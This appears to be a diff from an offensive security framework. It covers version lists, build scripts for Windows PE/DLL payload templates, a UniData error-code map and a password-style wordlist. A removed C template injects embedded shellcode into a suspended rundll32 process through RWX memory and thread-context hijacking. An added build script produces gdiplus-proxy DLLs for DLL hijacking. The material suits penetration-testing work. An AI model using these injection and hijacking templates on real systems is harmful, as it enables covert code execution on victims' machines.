"V4_5_2_SNAPSHOT",
|
||||
"V4_5_2",
|
||||
"V4_5_3_SNAPSHOT",
|
||||
"V4_5_3",
|
||||
"V4_5_4_SNAPSHOT",
|
||||
"V4_5_4",
|
||||
"V4_5_5_SNAPSHOT",
|
||||
"V4_5_5",
|
||||
"V4_5_6_SNAPSHOT",
|
||||
"V4_5_6",
|
||||
"V4_5_7_SNAPSHOT",
|
||||
"V4_5_7",
|
||||
"V4_5_8_SNAPSHOT",
|
||||
"V4_5_8",
|
||||
"V4_5_9_SNAPSHOT",
|
||||
"V4_5_9",
|
||||
"V4_6_0_SNAPSHOT",
|
||||
"V4_6_0",
|
||||
"V4_6_1_SNAPSHOT",
|
||||
"V4_6_1",
|
||||
"V4_6_2_SNAPSHOT",
|
||||
"V4_6_2",
|
||||
"V4_6_3_SNAPSHOT",
|
||||
"V4_6_3",
|
||||
"V4_6_4_SNAPSHOT",
|
||||
"V4_6_4",
|
||||
"V4_6_5_SNAPSHOT",
|
||||
"V4_6_5",
|
||||
"V4_6_6_SNAPSHOT",
|
||||
"V4_6_6",
|
||||
"V4_6_7_SNAPSHOT",
|
||||
"V4_6_7",
|
||||
"V4_6_8_SNAPSHOT",
|
||||
"V4_6_8",
|
||||
"V4_6_9_SNAPSHOT",
|
||||
"V4_6_9",
|
||||
"V4_7_0_SNAPSHOT",
|
||||
"V4_7_0",
|
||||
"V4_7_1_SNAPSHOT",
|
||||
"V4_7_1",
|
||||
"V4_7_2_SNAPSHOT",
|
||||
"V4_7_2",
|
||||
"V4_7_3_SNAPSHOT",
|
||||
"V4_7_3",
|
||||
"V4_7_4_SNAPSHOT",
|
||||
"V4_7_4",
|
||||
"V4_7_5_SNAPSHOT",
|
||||
"V4_7_5",
|
||||
"V4_7_6_SNAPSHOT",
|
||||
"V4_7_6",
|
||||
"V4_7_7_SNAPSHOT",
|
||||
"V4_7_7",
|
||||
"V4_7_8_SNAPSHOT",
|
||||
"V4_7_8",
|
||||
"V4_7_9_SNAPSHOT",
|
||||
"V4_7_9",
|
||||
"V4_8_0_SNAPSHOT",
|
||||
"V4_8_0",
|
||||
"V4_8_1_SNAPSHOT",
|
||||
"V4_8_1",
|
||||
"V4_8_2_SNAPSHOT",
|
||||
"V4_8_2",
|
||||
"V4_8_3_SNAPSHOT",
|
||||
"V4_8_3",
|
||||
"V4_8_4_SNAPSHOT",
|
||||
"V4_8_4",
|
||||
"V4_8_5_SNAPSHOT",
|
||||
"V4_8_5",
|
||||
"V4_8_6_SNAPSHOT",
|
||||
"V4_8_6",
|
||||
"V4_8_7_SNAPSHOT",
|
||||
"V4_8_7",
|
||||
"V4_8_8_SNAPSHOT",
|
||||
"V4_8_8",
|
||||
"V4_8_9_SNAPSHOT",
|
||||
"V4_8_9",
|
||||
"V4_9_0_SNAPSHOT",
|
||||
"V4_9_0",
|
||||
"V4_9_1_SNAPSHOT",
|
||||
"V4_9_1",
|
||||
"V4_9_2_SNAPSHOT",
|
||||
"V4_9_2",
|
||||
"V4_9_3_SNAPSHOT",
|
||||
"V4_9_3",
|
||||
"V4_9_4_SNAPSHOT",
|
||||
"V4_9_4",
|
||||
"V4_9_5_SNAPSHOT",
|
||||
"V4_9_5",
|
||||
"V4_9_6_SNAPSHOT",
|
||||
"V4_9_6",
|
||||
"V4_9_7_SNAPSHOT",
|
||||
"V4_9_7",
|
||||
"V4_9_8_SNAPSHOT",
|
||||
"V4_9_8",
|
||||
"V4_9_9_SNAPSHOT",
|
||||
"V4_9_9",
|
||||
"V5_0_0_SNAPSHOT",
|
||||
"V5_0_0",
|
||||
"V5_0_1_SNAPSHOT",
|
||||
"V5_0_1",
|
||||
"V5_0_2_SNAPSHOT",
|
||||
"V5_0_2",
|
||||
"V5_0_3_SNAPSHOT",
|
||||
"V5_0_3",
|
||||
"V5_0_4_SNAPSHOT",
|
||||
"V5_0_4",
|
||||
"V5_0_5_SNAPSHOT",
|
||||
"V5_0_5",
|
||||
"V5_0_6_SNAPSHOT",
|
||||
"V5_0_6",
|
||||
"V5_0_7_SNAPSHOT",
|
||||
"V5_0_7",
|
||||
"V5_0_8_SNAPSHOT",
|
||||
"V5_0_8",
|
||||
"V5_0_9_SNAPSHOT",
|
||||
"V5_0_9",
|
||||
"V5_1_0_SNAPSHOT",
|
||||
"V5_1_0",
|
||||
"V5_1_1_SNAPSHOT",
|
||||
"V5_1_1",
|
||||
"V5_1_2_SNAPSHOT",
|
||||
"V5_1_2",
|
||||
"V5_1_3_SNAPSHOT",
|
||||
"V5_1_3",
|
||||
"V5_1_4_SNAPSHOT",
|
||||
"V5_1_4",
|
||||
"V5_1_5_SNAPSHOT",
|
||||
"V5_1_5",
|
||||
"V5_1_6_SNAPSHOT",
|
||||
"V5_1_6",
|
||||
"V5_1_7_SNAPSHOT",
|
||||
"V5_1_7",
|
||||
"V5_1_8_SNAPSHOT",
|
||||
"V5_1_8",
|
||||
"V5_1_9_SNAPSHOT",
|
||||
"V5_1_9",
|
||||
"V5_2_0_SNAPSHOT",
|
||||
"V5_2_0",
|
||||
"V5_2_1_SNAPSHOT",
|
||||
"V5_2_1",
|
||||
"V5_2_2_SNAPSHOT",
|
||||
"V5_2_2",
|
||||
"V5_2_3_SNAPSHOT",
|
||||
"V5_2_3",
|
||||
"V5_2_4_SNAPSHOT",
|
||||
"V5_2_4",
|
||||
"V5_2_5_SNAPSHOT",
|
||||
"V5_2_5",
|
||||
"V5_2_6_SNAPSHOT",
|
||||
"V5_2_6",
|
||||
"V5_2_7_SNAPSHOT",
|
||||
"V5_2_7",
|
||||
"V5_2_8_SNAPSHOT",
|
||||
"V5_2_8",
|
||||
"V5_2_9_SNAPSHOT",
|
||||
"V5_2_9",
|
||||
"V5_3_0_SNAPSHOT",
|
||||
"V5_3_0",
|
||||
"V5_3_1_SNAPSHOT",
|
||||
"V5_3_1",
|
||||
"V5_3_2_SNAPSHOT",
|
||||
"V5_3_2",
|
||||
"V5_3_3_SNAPSHOT",
|
||||
"V5_3_3",
|
||||
"V5_3_4_SNAPSHOT",
|
||||
"V5_3_4",
|
||||
"V5_3_5_SNAPSHOT",
|
||||
"V5_3_5",
|
||||
"V5_3_6_SNAPSHOT",
|
||||
"V5_3_6",
|
||||
"V5_3_7_SNAPSHOT",
|
||||
"V5_3_7",
|
||||
"V5_3_8_SNAPSHOT",
|
||||
"V5_3_8",
|
||||
"V5_3_9_SNAPSHOT",
|
||||
"V5_3_9",
|
||||
"V5_4_0_SNAPSHOT",
|
||||
"V5_4_0",
|
||||
"V5_4_1_SNAPSHOT",
|
||||
"V5_4_1",
|
||||
"V5_4_2_SNAPSHOT",
|
||||
"V5_4_2",
|
||||
"V5_4_3_SNAPSHOT",
|
||||
"V5_4_3",
|
||||
"V5_4_4_SNAPSHOT",
|
||||
"V5_4_4",
|
||||
"V5_4_5_SNAPSHOT",
|
||||
"V5_4_5",
|
||||
"V5_4_6_SNAPSHOT",
|
||||
"V5_4_6",
|
||||
"V5_4_7_SNAPSHOT",
|
||||
"V5_4_7",
|
||||
"V5_4_8_SNAPSHOT",
|
||||
"V5_4_8",
|
||||
"V5_4_9_SNAPSHOT",
|
||||
"V5_4_9",
|
||||
"V5_5_0_SNAPSHOT",
|
||||
"V5_5_0",
|
||||
"V5_5_1_SNAPSHOT",
|
||||
"V5_5_1",
|
||||
"V5_5_2_SNAPSHOT",
|
||||
"V5_5_2",
|
||||
"V5_5_3_SNAPSHOT",
|
||||
"V5_5_3",
|
||||
"V5_5_4_SNAPSHOT",
|
||||
"V5_5_4",
|
||||
"V5_5_5_SNAPSHOT",
|
||||
"V5_5_5",
|
||||
"V5_5_6_SNAPSHOT",
|
||||
"V5_5_6",
|
||||
"V5_5_7_SNAPSHOT",
|
||||
"V5_5_7",
|
||||
"V5_5_8_SNAPSHOT",
|
||||
"V5_5_8",
|
||||
"V5_5_9_SNAPSHOT",
|
||||
"V5_5_9",
|
||||
"V5_6_0_SNAPSHOT",
|
||||
"V5_6_0",
|
||||
"V5_6_1_SNAPSHOT",
|
||||
"V5_6_1",
|
||||
"V5_6_2_SNAPSHOT",
|
||||
"V5_6_2",
|
||||
"V5_6_3_SNAPSHOT",
|
||||
"V5_6_3",
|
||||
"V5_6_4_SNAPSHOT",
|
||||
"V5_6_4",
|
||||
"V5_6_5_SNAPSHOT",
|
||||
"V5_6_5",
|
||||
"V5_6_6_SNAPSHOT",
|
||||
"V5_6_6",
|
||||
"V5_6_7_SNAPSHOT",
|
||||
"V5_6_7",
|
||||
"V5_6_8_SNAPSHOT",
|
||||
"V5_6_8",
|
||||
"V5_6_9_SNAPSHOT",
|
||||
"V5_6_9",
|
||||
"V5_7_0_SNAPSHOT",
|
||||
"V5_7_0",
|
||||
"V5_7_1_SNAPSHOT",
|
||||
"V5_7_1",
|
||||
"V5_7_2_SNAPSHOT",
|
||||
"V5_7_2",
|
||||
"V5_7_3_SNAPSHOT",
|
||||
"V5_7_3",
|
||||
"V5_7_4_SNAPSHOT",
|
||||
"V5_7_4",
|
||||
"V5_7_5_SNAPSHOT",
|
||||
"V5_7_5",
|
||||
"V5_7_6_SNAPSHOT",
|
||||
"V5_7_6",
|
||||
"V5_7_7_SNAPSHOT",
|
||||
"V5_7_7",
|
||||
"V5_7_8_SNAPSHOT",
|
||||
"V5_7_8",
|
||||
"V5_7_9_SNAPSHOT",
|
||||
"V5_7_9",
|
||||
"V5_8_0_SNAPSHOT",
|
||||
"V5_8_0",
|
||||
"V5_8_1_SNAPSHOT",
|
||||
"V5_8_1",
|
||||
"V5_8_2_SNAPSHOT",
|
||||
"V5_8_2",
|
||||
"V5_8_3_SNAPSHOT",
|
||||
"V5_8_3",
|
||||
"V5_8_4_SNAPSHOT",
|
||||
"V5_8_4",
|
||||
"V5_8_5_SNAPSHOT",
|
||||
"V5_8_5",
|
||||
"V5_8_6_SNAPSHOT",
|
||||
"V5_8_6",
|
||||
"V5_8_7_SNAPSHOT",
|
||||
"V5_8_7",
|
||||
"V5_8_8_SNAPSHOT",
|
||||
"V5_8_8",
|
||||
"V5_8_9_SNAPSHOT",
|
||||
"V5_8_9",
|
||||
"V5_9_0_SNAPSHOT",
|
||||
"V5_9_0",
|
||||
"V5_9_1_SNAPSHOT",
|
||||
"V5_9_1",
|
||||
"V5_9_2_SNAPSHOT",
|
||||
"V5_9_2",
|
||||
"V5_9_3_SNAPSHOT",
|
||||
"V5_9_3",
|
||||
"V5_9_4_SNAPSHOT",
|
||||
"V5_9_4",
|
||||
"V5_9_5_SNAPSHOT",
|
||||
"V5_9_5",
|
||||
"V5_9_6_SNAPSHOT",
|
||||
"V5_9_6",
|
||||
"V5_9_7_SNAPSHOT",
|
||||
"V5_9_7",
|
||||
"V5_9_8_SNAPSHOT",
|
||||
"V5_9_8",
|
||||
"V5_9_9_SNAPSHOT",
|
||||
"V5_9_9",
|
||||
"HIGHER_VERSION"
|
||||
]
|
||||
@@ -0,0 +1,10 @@
|
||||
# PE Source Code
|
||||
This directory contains the source code for the PE executable templates.
|
||||
|
||||
## Building DLLs
|
||||
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
|
||||
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
|
||||
variable be defined (which it should be by default). The build script will
|
||||
create both the x86 and x64 templates before moving them into the correct
|
||||
folder. The current working directory when the build is run must be the source
|
||||
code directory (`pe`).
|
||||
@@ -0,0 +1,7 @@
|
||||
@echo off
|
||||
|
||||
for /D %%d in (dll*) do (
|
||||
pushd "%%d"
|
||||
build.bat
|
||||
popd
|
||||
)
|
||||
@@ -3,12 +3,13 @@
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
rc /v template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
del *.obj *.res
|
||||
move *.dll ..\..\..
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
|
||||
#ifndef SCSIZE
|
||||
#define SCSIZE 4096
|
||||
#endif
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
|
||||
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v /fo template.res ../dll/template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.exp *.lib *.res *.obj
|
||||
move *.dll ..\..\..
|
||||
@@ -1,24 +0,0 @@
|
||||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i686-w64-mingw32
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
||||
-3
@@ -1,6 +1,3 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
|
||||
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
|
||||
@@ -1,97 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
EXPORTS
|
||||
DllMain@12
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
|
||||
LANGUAGE 9, 1
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 0,0,0,1
|
||||
PRODUCTVERSION 0,0,0,1
|
||||
FILEFLAGSMASK 0x17L
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS 0x4L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
|
||||
END
|
||||
|
||||
#define RT_HTML 23
|
||||
|
||||
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
|
||||
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,101 @@
|
||||
# Mostly from https://docs.rocketsoftware.com/bundle/grv1653317862214_grv1653317862214/page/nhb1653316841876.html
|
||||
{
|
||||
0: "UVE_NOERROR",
|
||||
14002: "UVE_ENOENT",
|
||||
14005: "UVE_EIO",
|
||||
14009: "UVE_EBADF",
|
||||
14012: "UVE_ENOMEM",
|
||||
14013: "UVE_EACCES",
|
||||
14022: "UVE_EINVAL",
|
||||
14023: "UVE_ENFILE",
|
||||
14024: "UVE_EMFILE",
|
||||
14028: "UVE_ENOSPC",
|
||||
14551: "UVE_NETUNREACH",
|
||||
22001: "UVE_BFN",
|
||||
22002: "UVE_BTS",
|
||||
20003: "UVE_IID",
|
||||
22004: "UVE_LRR",
|
||||
22005: "UVE_NFI",
|
||||
30001: "UVE_RNF",
|
||||
30002: "UVE_LCK",
|
||||
30095: "UVE_FIFS",
|
||||
30097: "UVE_SELFAIL",
|
||||
30098: "UVE_LOCKINVALID",
|
||||
30099: "UVE_SEQOPENED",
|
||||
30100: "UVE_HASHOPENED",
|
||||
30101: "UVE_SEEKFAILED",
|
||||
30103: "UVE_INVALIDATKEY",
|
||||
30105: "UVE_UNABLETOLOADSUB",
|
||||
30106: "UVE_BADNUMARGS",
|
||||
30107: "UVE_SUBERROR",
|
||||
30108: "UVE_ITYPEFTC",
|
||||
30109: "UVE_ITYPEFAILEDTOLOAD",
|
||||
30110: "UVE_ITYPENOTCOMPILED",
|
||||
30111: "UVE_BADITYPE",
|
||||
30112: "UVE_INVALIDFILENAME",
|
||||
30113: "UVE_WEOFFAILED",
|
||||
30114: "UVE_EXECUTEISACTIVE",
|
||||
30115: "UVE_EXECUTENOTACTIVE",
|
||||
30124: "UVE_TX_ACTIVE",
|
||||
30125: "UVE_CANT_ACCESS_PF",
|
||||
30126: "UVE_FAIL_TO_CANCEL",
|
||||
30127: "UVE_INVALID_INFO_KEY",
|
||||
30128: "UVE_CREATE_FAILED",
|
||||
30129: "UVE_DUPHANDLE_FAILED",
|
||||
31000: "UVE_NVR",
|
||||
31001: "UVE_NPN",
|
||||
39101: "UVE_NODATA",
|
||||
39119: "UVE_AT_INPUT",
|
||||
39120: "UVE_SESSION_NOT_OPEN",
|
||||
39121: "UVE_UVEXPIRED",
|
||||
39122: "UVE_CSVERSION",
|
||||
39123: "UVE_COMMSVERSION",
|
||||
39124: "UVE_BADSIG",
|
||||
39125: "UVE_BADDIR",
|
||||
39127: "UVE_BAD_UVHOME",
|
||||
39128: "UVE_INVALIDPATH",
|
||||
39129: "UVE_INVALIDACCOUNT",
|
||||
39130: "UVE_BAD_UVACCOUNT_FILE",
|
||||
39131: "UVE_FTA_NEW_ACCOUNT",
|
||||
39134: "UVE_ULR",
|
||||
39135: "UVE_NO_NLS",
|
||||
39136: "UVE_MAP_NOT_FOUND",
|
||||
39137: "UVE_NO_LOCALE",
|
||||
39138: "UVE_LOCALE_NOT_FOUND",
|
||||
39139: "UVE_CATEGORY_NOT_FOUND",
|
||||
39201: "UVE_SR_SOCK_CON_FAIL",
|
||||
39210: "UVE_SR_SELECT_FAIL",
|
||||
39211: "UVE_SR_SELECT_TIMEOUT",
|
||||
40001: "UVE_INVALIDFIELD",
|
||||
40002: "UVE_SESSIONEXISTS",
|
||||
40003: "UVE_BADPARAM",
|
||||
40004: "UVE_BADOBJECT",
|
||||
40005: "UVE_NOMORE",
|
||||
40006: "UVE_NOTATINPUT",
|
||||
40007: "UVE_INVALID_DATAFIELD",
|
||||
40008: "UVE_BAD_DICTIONARY_ ENTRY",
|
||||
40009: "UVE_BAD_CONVERSION_ DATA",
|
||||
45000: "UVE_FILE_NOT_OPEN",
|
||||
45001: "UVE_OPENSESSION_ERR",
|
||||
45002: "UVE_NONNULL_RECORDID",
|
||||
80011: "UVE_BAD_LOGINNAME",
|
||||
80019: "UVE_BAD_PASSWORD",
|
||||
80144: "UVE_ACCOUNT_EXPIRED",
|
||||
80147: "UVE_RUN_REMOTE_FAILED",
|
||||
80148: "UVE_UPDATE_USER_FAILED",
|
||||
81001: "UVE_RPC_BAD_CONNECTION",
|
||||
81002: "UVE_RPC_NO_CONNECTION",
|
||||
81005: "UVE_RPC_WRONG_VERSION",
|
||||
81007: "UVE_RPC_NO_MORE_ CONNECTIONS",
|
||||
81009: "UVE_RPC_FAILED",
|
||||
81011: "UVE_RPC_UNKNOWN_HOST",
|
||||
81014: "UVE_RPC_CANT_FIND_ SERVICE",
|
||||
81015: "UVE_RPC_TIMEOUT",
|
||||
81016: "UVE_RPC_REFUSED",
|
||||
81017: "UVE_RPC_SOCKET_INIT_ FAILED",
|
||||
81018: "UVE_RPC_SERVICE_PAUSED",
|
||||
81019: "UVE_RPC_BAD_TRANSPORT",
|
||||
81020: "UVE_RPC_BAD_PIPE",
|
||||
81021: "UVE_RPC_PIPE_WRITE_ERROR",
|
||||
81022: "UVE_RPC_PIPE_READ_ERROR"
|
||||
}
|
||||
+306
-305
@@ -274,8 +274,8 @@ abbreviating
|
||||
abbreviation
|
||||
abby
|
||||
abbye
|
||||
abbé
|
||||
abbés
|
||||
abbé
|
||||
abbés
|
||||
abc
|
||||
abc123
|
||||
abcd
|
||||
@@ -975,7 +975,7 @@ adipose
|
||||
adiposes
|
||||
adirondack
|
||||
adirondacks
|
||||
adiós
|
||||
adiós
|
||||
adj
|
||||
adjacency
|
||||
adjacent
|
||||
@@ -1573,7 +1573,7 @@ aidan
|
||||
aide
|
||||
aide-de-camp
|
||||
aide-memoires
|
||||
aide-mémoire
|
||||
aide-mémoire
|
||||
aided
|
||||
aider
|
||||
aides-de-camp
|
||||
@@ -3006,7 +3006,7 @@ animistic
|
||||
animized
|
||||
animosity
|
||||
animus
|
||||
animé
|
||||
animé
|
||||
anion
|
||||
anionic
|
||||
anise
|
||||
@@ -3615,10 +3615,10 @@ applicator
|
||||
applier
|
||||
appliers
|
||||
applique
|
||||
appliqué
|
||||
appliquéd
|
||||
appliquéing
|
||||
appliqués
|
||||
appliqué
|
||||
appliquéd
|
||||
appliquéing
|
||||
appliqués
|
||||
apply
|
||||
appoint
|
||||
appointee
|
||||
@@ -4274,8 +4274,8 @@ arvy
|
||||
aryan
|
||||
aryanism
|
||||
aryn
|
||||
arête
|
||||
arêtes
|
||||
arête
|
||||
arêtes
|
||||
as
|
||||
asa
|
||||
asama
|
||||
@@ -4618,7 +4618,7 @@ asturias
|
||||
astute
|
||||
astuteness
|
||||
asuncion
|
||||
asunción
|
||||
asunción
|
||||
asunder
|
||||
aswan
|
||||
asyllabic
|
||||
@@ -4643,7 +4643,7 @@ atalanta
|
||||
atamelang
|
||||
atari
|
||||
ataturk
|
||||
atatürk
|
||||
atatürk
|
||||
atavism
|
||||
atavist
|
||||
atavistic
|
||||
@@ -4742,7 +4742,7 @@ attached
|
||||
attacher
|
||||
attaches
|
||||
attachment
|
||||
attaché
|
||||
attaché
|
||||
attack
|
||||
attackable
|
||||
attacker
|
||||
@@ -6141,7 +6141,7 @@ bartolomeo
|
||||
barton
|
||||
bartram
|
||||
barty
|
||||
bartók
|
||||
bartók
|
||||
baruch
|
||||
barvale
|
||||
barvallen
|
||||
@@ -7880,7 +7880,7 @@ blast
|
||||
blaster
|
||||
blasting
|
||||
blastoff
|
||||
blasé
|
||||
blasé
|
||||
blat
|
||||
blatancy
|
||||
blatant
|
||||
@@ -8433,7 +8433,7 @@ bogotified
|
||||
bogotifies
|
||||
bogotify
|
||||
bogotifying
|
||||
bogotá
|
||||
bogotá
|
||||
bogus
|
||||
bogy
|
||||
bogyman
|
||||
@@ -8911,7 +8911,7 @@ botulinum
|
||||
botulinus
|
||||
botulism
|
||||
boucher
|
||||
bouclé
|
||||
bouclé
|
||||
boudicca
|
||||
boudoir
|
||||
bouffant
|
||||
@@ -8962,13 +8962,13 @@ bourne
|
||||
bournemouth
|
||||
bourree
|
||||
bourses
|
||||
bourée
|
||||
bourée
|
||||
boustrophedon
|
||||
bout
|
||||
boutique
|
||||
boutonniere
|
||||
boutonnière
|
||||
boutonnières
|
||||
boutonnière
|
||||
boutonnières
|
||||
bouvier
|
||||
bouzouki
|
||||
bovary
|
||||
@@ -9052,7 +9052,7 @@ boyscout
|
||||
boysenberry
|
||||
boyup
|
||||
bozo
|
||||
boötes
|
||||
boötes
|
||||
bp
|
||||
bpi
|
||||
bpoe
|
||||
@@ -9435,7 +9435,7 @@ bribery
|
||||
bribie
|
||||
bric
|
||||
bric-a-brac
|
||||
bric-à-brac
|
||||
bric-à-brac
|
||||
brice
|
||||
brick
|
||||
brick-red
|
||||
@@ -10472,7 +10472,7 @@ buzzer
|
||||
buzzing
|
||||
buzzword
|
||||
buzzy
|
||||
buñuel
|
||||
buñuel
|
||||
bx
|
||||
bxs
|
||||
by
|
||||
@@ -10528,10 +10528,10 @@ byway
|
||||
byword
|
||||
byzantine
|
||||
byzantium
|
||||
bêche
|
||||
bête
|
||||
bêtes
|
||||
bêtise
|
||||
bêche
|
||||
bête
|
||||
bêtes
|
||||
bêtise
|
||||
c
|
||||
c.elegans
|
||||
c.lit.
|
||||
@@ -10646,8 +10646,8 @@ caffeinated
|
||||
caffeine
|
||||
caftan
|
||||
cafutweni
|
||||
café
|
||||
cafés
|
||||
café
|
||||
cafés
|
||||
cage
|
||||
caged
|
||||
cager
|
||||
@@ -10962,8 +10962,8 @@ canalization
|
||||
canalize
|
||||
canalling
|
||||
canape
|
||||
canapé
|
||||
canapés
|
||||
canapé
|
||||
canapés
|
||||
canard
